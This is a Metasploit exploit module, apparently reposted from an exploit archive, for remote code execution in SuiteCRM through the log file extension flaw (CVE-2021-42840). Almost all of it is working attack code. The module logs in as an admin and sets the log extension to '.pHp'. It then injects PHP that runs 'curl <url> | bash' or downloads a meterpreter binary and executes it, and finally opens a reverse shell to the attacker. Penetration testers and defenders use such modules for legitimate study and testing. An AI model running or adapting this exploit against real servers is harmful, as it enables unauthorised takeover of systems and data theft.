Share
## https://sploitus.com/exploit?id=PACKETSTORM:165001
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SuiteCRM Log File Remote Code Execution',  
'Description' => %q{  
This module exploits an input validation error on the log file extension parameter. It does  
not properly validate upper/lower case characters. Once this occurs, the application log file  
will be treated as a php file. The log file can then be populated with php code by changing the  
username of a valid user, as this info is logged. The php code in the file can then be executed  
by sending an HTTP request to the log file. A similar issue was reported by the same researcher  
where a blank file extension could be supplied and the extension could be provided in the file  
name. This exploit will work on those versions as well, and those references are included.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'M. Cory Billington' # @_th3y  
],  
'References' => [  
['CVE', '2021-42840'],  
['CVE', '2020-28328'], # First CVE  
['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.  
['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit  
['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit  
],  
'Platform' => %w[linux unix],  
'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],  
'Targets' => [  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Linux (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true,  
'DisclosureDate' => '2021-04-28',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),  
OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),  
OptString.new('PASS', [true, 'Password for administrator', 'admin']),  
OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),  
OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),  
OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])  
]  
)  
end  
  
def check  
authenticate unless @authenticated  
return Exploit::CheckCode::Unknown unless @authenticated  
  
version_check_request = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Home',  
'action' => 'About'  
}  
}  
)  
  
return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request  
  
version_match = version_check_request.body[/  
Version  
\s  
\d{1} # Major revision  
\.  
\d{1,2} # Minor revision  
\.  
\d{1,2} # Bug fix release  
/x]  
  
version = version_match.partition(' ').last  
  
if version.nil? || version.empty?  
about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"  
return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")  
end  
  
patched_version = Rex::Version.new('7.11.18')  
current_version = Rex::Version.new(version)  
  
return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version  
  
Exploit::CheckCode::Safe("SuiteCRM #{version}")  
end  
  
def authenticate  
print_status("Authenticating as #{datastore['USER']}")  
initial_req = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Users',  
'action' => 'Login'  
}  
}  
)  
  
return false unless initial_req && initial_req.code == 200  
  
login = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_post' => {  
'module' => 'Users',  
'action' => 'Authenticate',  
'return_module' => 'Users',  
'return_action' => 'Login',  
'user_name' => datastore['USER'],  
'username_password' => datastore['PASS'],  
'Login' => 'Log In'  
}  
}  
)  
  
return false unless login && login.code == 302  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Administration',  
'action' => 'index'  
}  
}  
)  
  
auth_succeeded?(res)  
end  
  
def auth_succeeded?(res)  
return false unless res  
  
if res.code == 200  
print_good("Authenticated as: #{datastore['USER']}")  
if res.body.include?('Unauthorized access to administration.')  
print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.")  
@is_admin = false  
else  
print_good("#{datastore['USER']} has administrative rights.")  
@is_admin = true  
end  
@authenticated = true  
return true  
else  
print_error("Failed to authenticate as: #{datastore['USER']}")  
return false  
end  
end  
  
def post_log_file(data)  
send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'keep_cookies' => true,  
'headers' => {  
'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView"  
},  
'data' => data.to_s  
}  
)  
end  
  
def modify_system_settings_file  
filename = rand_text_alphanumeric(8).to_s  
extension = '.pHp'  
@php_fname = filename + extension  
action = 'Modify system settings file'  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')  
data.add_part('Configurator', nil, nil, 'form-data; name="module"')  
data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"')  
data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"')  
data.add_part('info', nil, nil, 'form-data; name="logger_level"')  
data.add_part('Save', nil, nil, 'form-data; name="save"')  
  
res = post_log_file(data)  
check_logfile_request(res, action)  
end  
  
def poison_log_file  
action = 'Poison log file'  
if target.arch.first == 'cmd'  
command_injection = "<?php `curl #{@download_url} | bash`; ?>"  
else  
@meterpreter_fname = "#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}"  
command_injection = %(  
<?php `curl #{@download_url} -o #{@meterpreter_fname};  
/bin/chmod 700 #{@meterpreter_fname};  
/bin/sh -c #{@meterpreter_fname};`; ?>  
)  
end  
  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('Users', nil, nil, 'form-data; name="module"')  
data.add_part('1', nil, nil, 'form-data; name="record"')  
data.add_part('Save', nil, nil, 'form-data; name="action"')  
data.add_part('EditView', nil, nil, 'form-data; name="page"')  
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')  
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')  
data.add_part(command_injection, nil, nil, 'form-data; name="last_name"')  
  
res = post_log_file(data)  
check_logfile_request(res, action)  
end  
  
def restore  
action = 'Restore logging to default configuration'  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')  
data.add_part('Configurator', nil, nil, 'form-data; name="module"')  
data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"')  
data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"')  
data.add_part('fatal', nil, nil, 'form-data; name="logger_level"')  
data.add_part('Save', nil, nil, 'form-data; name="save"')  
  
post_log_file(data)  
  
data = Rex::MIME::Message.new  
data.add_part('Users', nil, nil, 'form-data; name="module"')  
data.add_part('1', nil, nil, 'form-data; name="record"')  
data.add_part('Save', nil, nil, 'form-data; name="action"')  
data.add_part('EditView', nil, nil, 'form-data; name="page"')  
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')  
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')  
data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"')  
  
res = post_log_file(data)  
  
print_error("Failed - #{action}") unless res && res.code == 301  
  
print_good("Succeeded - #{action}")  
end  
  
def check_logfile_request(res, action)  
fail_with(Failure::Unknown, "#{action} - no reply") unless res  
  
unless res.code == 301  
print_error("Failed - #{action}")  
fail_with(Failure::UnexpectedReply, "Failed - #{action}")  
end  
  
print_good("Succeeded - #{action}")  
end  
  
def execute_php  
print_status("Executing php code in log file: #{@php_fname}")  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri, @php_fname),  
'keep_cookies' => true  
}  
)  
fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404  
register_files_for_cleanup(@php_fname)  
register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?  
end  
  
def on_request_uri(cli, _request)  
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })  
print_good("#{peer} - Payload sent!")  
end  
  
def start_http_server  
start_service(  
{  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => resource_uri  
}  
}  
)  
@download_url = get_uri  
end  
  
def exploit  
start_http_server  
authenticate unless @authenticated  
fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated  
fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin  
modify_system_settings_file  
poison_log_file  
execute_php  
ensure  
restore if datastore['RESTORECONF']  
end  
end